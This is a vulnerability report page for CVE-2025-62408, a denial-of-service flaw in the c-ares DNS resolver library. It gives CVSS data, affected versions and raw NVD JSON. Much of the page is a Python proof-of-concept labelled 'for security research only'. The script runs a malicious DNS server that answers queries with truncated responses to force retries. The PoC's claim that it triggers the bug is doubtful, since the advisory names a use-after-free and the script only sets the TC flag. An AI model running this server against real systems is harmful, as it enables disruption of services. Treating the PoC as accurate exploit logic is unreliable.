Security Vulnerability Report
中文
CVE-2025-62408 CVSS 5.9 MEDIUM

CVE-2025-62408

Published: 2025-12-08 22:15:53
Last Modified: 2026-02-02 14:40:45

Description

c-ares is an asynchronous resolver library. Versions 1.32.3 through 1.34.5 terminate a query after maximum attempts when using read_answer() and process_answer(), which can cause a Denial of Service. This issue is fixed in version 1.34.6.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:c-ares:c-ares:*:*:*:*:*:*:*:* - VULNERABLE
c-ares >= 1.32.3
c-ares <= 1.34.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-62408 PoC - c-ares DoS via Malicious DNS Response # This PoC demonstrates triggering the max retry condition import socket import struct import time def create_dns_response_with_flags(query_id, flags=0x8180): """Create a DNS response with specific flags to trigger the vulnerability.""" # DNS Header: ID, Flags, QDCOUNT, ANCOUNT, NSCOUNT, ARCOUNT header = struct.pack('>HHHHHH', query_id, # Transaction ID flags, # Flags (RESPONSE, No error) 1, # Questions: 1 0, # Answer RRs: 0 0, # Authority RRs: 0 0 # Additional RRs: 0 ) # Query section query = b'\x03www\x06example\x03com\x00' # www.example.com query += struct.pack('>HH', 1, 1) # Type: A, Class: IN return header + query def dns_server(host='0.0.0.0', port=53): """Run malicious DNS server to trigger CVE-2025-62408.""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((host, port)) print(f'[*] Malicious DNS server listening on {host}:{port}') print('[*] Send responses with TRUNCATED flag to trigger max retries') retry_count = {} while True: try: data, addr = sock.recvfrom(512) query_id = struct.unpack('>H', data[:2])[0] # Track retry attempts key = f'{addr}_{query_id}' retry_count[key] = retry_count.get(key, 0) + 1 print(f'[*] Received query {query_id} from {addr}, attempt {retry_count[key]}') # Send response with TC (Truncated) flag to force retries # This triggers the max retry condition in c-ares response = create_dns_response_with_flags( query_id, flags=0x8580 # Response with TC flag set ) sock.sendto(response, addr) print(f'[*] Sent malicious response #{retry_count[key]}') # After 3+ attempts, c-ares should timeout and trigger vulnerability if retry_count[key] >= 3: print('[!] Max retries reached - vulnerability condition triggered') except KeyboardInterrupt: print('\n[*] Shutting down...') break except Exception as e: print(f'[-] Error: {e}') sock.close() if __name__ == '__main__': dns_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62408", "sourceIdentifier": "[email protected]", "published": "2025-12-08T22:15:52.620", "lastModified": "2026-02-02T14:40:44.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "c-ares is an asynchronous resolver library. Versions 1.32.3 through 1.34.5 terminate a query after maximum attempts when using read_answer() and process_answer(), which can cause a Denial of Service. This issue is fixed in version 1.34.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:c-ares:c-ares:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.32.3", "versionEndExcluding": "1.34.6", "matchCriteriaId": "0E5E9D1A-4E19-4878-BCE5-99CD56CF034D"}]}]}], "references": [{"url": "https://github.com/c-ares/c-ares/commit/714bf5675c541bd1e668a8db8e67ce012651e618", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/c-ares/c-ares/security/advisories/GHSA-jq53-42q6-pqr5", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}